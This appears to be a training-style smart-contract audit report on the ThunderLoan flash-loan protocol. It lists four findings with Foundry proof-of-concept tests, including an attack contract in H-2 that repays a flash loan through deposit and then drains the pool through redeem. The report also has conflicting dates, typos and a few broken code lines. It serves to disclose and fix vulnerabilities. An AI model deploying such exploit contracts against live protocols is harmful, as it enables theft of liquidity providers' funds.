Thunder-FlashLoan Audit Report

Version 1.0

Cyfrin.io

May 31, 2025

Protocol Audit Report

Kotte Mohan krishna

May 31, 2023

Prepared by: Cyfrin Lead Auditors: - xxxxxxx

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - Highs
  - [H-1] Erroneous `ThunderLoan::updateExchange` in `deposit` function causes protocol to think it has more fees than it does which blocks redemption and incorrectly sets the exchange rate
  - [H-2] Bypassing the assert condition of checking borrower repayment in `ThunderLoan::flashloan` function which causes protocol allows attackers to redeem the entire balance, consequences a massive loss impact on liquidateProvider

- [H-3] Mixing up the variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol
- Medium
- [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans Give liquidity providers a way to earn money off their capital Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

Disclaimer

The Kotte Mohan Krishna team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
8803f851f6b37e99eab2e94b4690c8b70e26b3f6
```

Scope

```
./src/interfaces
## IFlashLoanReceiver.sol
## IPoolFactory.sol
## ITSwapPool.sol
## IThunderLoan.sol

./src/Protocol
## AssetToken.sol
## OracleUpgradeable.sol
## ThunderLoan.sol

./src/upgradedProtocol
## ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol. # Executive Summary ## Issues found | severity | Number of issues found | | ——– | ———————- | | High | 3 | | Medium | 1 | | Low | 0 | | Info | 0 | | Total | 4 | # Findings ### Highs

[H-1] Erroneous `ThunderLoan::updateExchange` in `deposit` function causes protocol to think it has more fees than it does which blocks redemption and incorrectly sets the exchange rate

Description: In the thunder loan system `exchnageRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it's a reponsible for keeping track of how much fees to give User who provider who provides liquidity to the protocol.

However `deposit` function, updates this rate, without collecting any fees!

```
1    function deposit(IERC20 token, uint256 amount) external revertIfZero(
        amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
              EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8  @>        uint256 calculatedFee = getCalculatedFee(token, amount);
9
10 @>        assetToken.updateExchangeRate(calculatedFee);
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
              ;
12     }
```

Impact: There are several impacts to this bug.

1. The `redeem` function is blocked, because the ptotocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading liquidityProvider potentially getting way more or less than deserved

Proof of Concept: 1. LP deposits 2. User takes out a flash loan 3. It is now impossible for LP to redeem

Place this code in `ThunderLoanTest.t.sol`

Proof Of Code

```
1      function testRedeemAfterLoan() public setAllowedToken hasDeposits
          {
2          uint256 amountToBorrow = AMOUNT * 10;
3          uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
              amountToBorrow);
4
5          vm.startPrank(user);
6          tokenA.mint(address(mockFlashLoanReceiver),calculatedFee);
```

```
7           thunderLoan.flashloan(address(mockFlashLoanReceiver),tokenA,
                amountToBorrow, "");
8           vm.stopPrank();
9
10          uint256 amountToRedeem = type(uint256).max;
11          vm.startPrank(liquidityProvider);
12          thunderLoan.redeem(tokenA, amountToRedeem);
13      }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`

```
1       function deposit(IERC20 token, uint256 amount) external
            revertIfZero(amount) revertIfNotAllowedToken(token) {
2           AssetToken assetToken = s_tokenToAssetToken[token];
3           uint256 exchangeRate = assetToken.getExchangeRate();
4           uint256 mintAmount = (amount * assetToken.
                EXCHANGE_RATE_PRECISION()) / exchangeRate;
5           emit Deposit(msg.sender, token, amount);
6           assetToken.mint(msg.sender, mintAmount);
7
8   -        uint256 calculatedFee = getCalculatedFee(token, amount);
9
10  -        assetToken.updateExchangeRate(calculatedFee);
11          token.safeTransferFrom(msg.sender, address(assetToken), amount)
                ;
12      }
```

[H-2] Bypassing the assert condition of checking borrower repayment in `ThunderLoan::flashloan` function which causes protocol allows attackers to redeem the entire balance, consequences a massive loss impact on liquidateProvider

Description: In `flashloan` function, the repayment check is bypassed through depositing(borrowed amount + fee) in execute operation by attacker, where protocol falsely thinks that amount is paid back. But later after flashloan transaction, attacker can drain the entire protocol balance through calling `redeem` function

Impact: The entire protocol's balance is drained which is a massive loss for liquidate providers

Proof of Concept:

1. Attacker calls flash loan
2. flash loan calls a execute operation in attacker contract (which includes a deposit function)
3. Repayment check is bypassed
4. Attacker withdraw entire protocol after flash loan transanction

Proof Of Code

Add the below test and contract in `ThunderLoan.t.sol`

```
1   function testUseDepositInsteadOfRepayToStealFunds() public
       setAllowedToken hasDeposits {
2           vm.startPrank(user);
3           uint256 amountToBorrow = 50e18;
4           uint256 fee = thunderLoan.getCalculatedFee(tokenA,
               amountToBorrow);
5           DepositOverRepay dor = new DepositOverRepay(address(
               thunderLoan));
6           tokenA.mint(address(dor),fee);
7           thunderLoan.flashloan(address(dor),tokenA, amountToBorrow, "
               ");
8           dor.redeemMoney();
9           vm.stopPrank();
10
11          assert(tokenA.balanceOf(address(dor))> 50e18 + fee);
12      }
13
14      contract DepositOverRepay is IFlashLoanReceiver {
15      ThunderLoan thunderLoan;
16      AssetToken assetToken;
17      IERC20 s_token;
18      constructor(address _thunderLoan) {
19
20            thunderLoan = ThunderLoan(_thunderLoan);
21
22
23      }
24
25       function executeOperation(
26          address token,
27          uint256 amount,
28          uint256 fee,
29          address /*initiator*/,
30          bytes calldata /*params*/
31      ) external returns (bool)
32          {
33              s_token = IERC20(token);
34              assetToken = thunderLoan.getAssetFromToken( s_token);
35              s_token.approve(address(thunderLoan), amount+fee);
36              thunderLoan.deposit( s_token, amount+fee);
37              return true;
38
39          }
40
41          function redeemMoney() public {
42              uint256 amount = assetToken.balanceOf(address(this));
43              thunderLoan.redeem(s_token,amount);
44          }
45  }
```

Recommended Mitigation: Possible solutions 1. Enforce Repayment from Borrower, Not Just Balance Checks 2. Block deposit() During Flash Loans 3. Consider Flash Loan Context Flags or a Repay Function

[H-3] Mixing up the variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has two variables in following orders

```
1
2     uint256 private s_feePrecision;
3     uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in different order:

```
1     uint256 private s_flashLoanFee;
2     uint256 publi constant FEE_PRECISION = 1e18;
```

Due to the way solidity works, after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables, and removing storage variables for constant variables, which breaks the storage locations as well

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out falsh loans right after an upgrade will be charged the wrong fee.

More importantly, the `s_currentlyFlashLoaning` mapping with storage in the wrong storage slot

Proof of Concept:

Proof Of Code

Add the below test and contract in `ThunderLoan.t.sol`

```
1
2
3  import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
4  .
5  .
6  .
7  .
8  .
9     function testUpgradeBreaks() public {
10         uint256 feeBeforeUpgrade = thunderLoan.getFee();
11         vm.startPrank(thunderLoan.owner());
```

```
12          ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
13          thunderLoan.upgradeToAndCall(address(upgraded),"");
14          uint256 feeAfterUpgrade = thunderLoan.getFee();
15          vm.stopPrank();
16          console2.log("Fee Before:", feeBeforeUpgrade);
17          console2.log("Fee After:", feeAfterUpgrade);
18          assert(feeAfterUpgrade != feeBeforeUpgrade);
19      }
```

Recommended Mitigation: If you must remove the storage variable, leave it as blank as to not mess up the storage slots

```
1  -    uint256 private s_flashLoanFee;
2  -    uint256 publi constant FEE_PRECISION = 1e18;
3
4  +    uint256 private s_blank;
5  +    uint256 private s_flashLoanFee;
6  +    uint256 publi constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious user to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will get drastically reduced fees for prociding liquidity

Proof of Concept:

The following all happens in 1 transaction.

1. user takes a flash loan from 1 `ThunderLoan` for 1000 `tokenA`. They are charged the original fee of `feeOne`, tanking the price.
2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`
    1. Due to the fact that the way `Thunderloan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1    function getPriceInWeth(address token) public view returns (uint256)
        {
2           address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
               token);
3   @>       return ITSwapPool(swapPoolOfToken).
        getPriceOfOnePoolTokenInWeth();
```

```
4         }
```

3. The User then repays the first flash loa and then repays the second flash loan

I have created a proof of code located in my `audit-data` folder. It is too large to include here

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TSWAP fallback oracle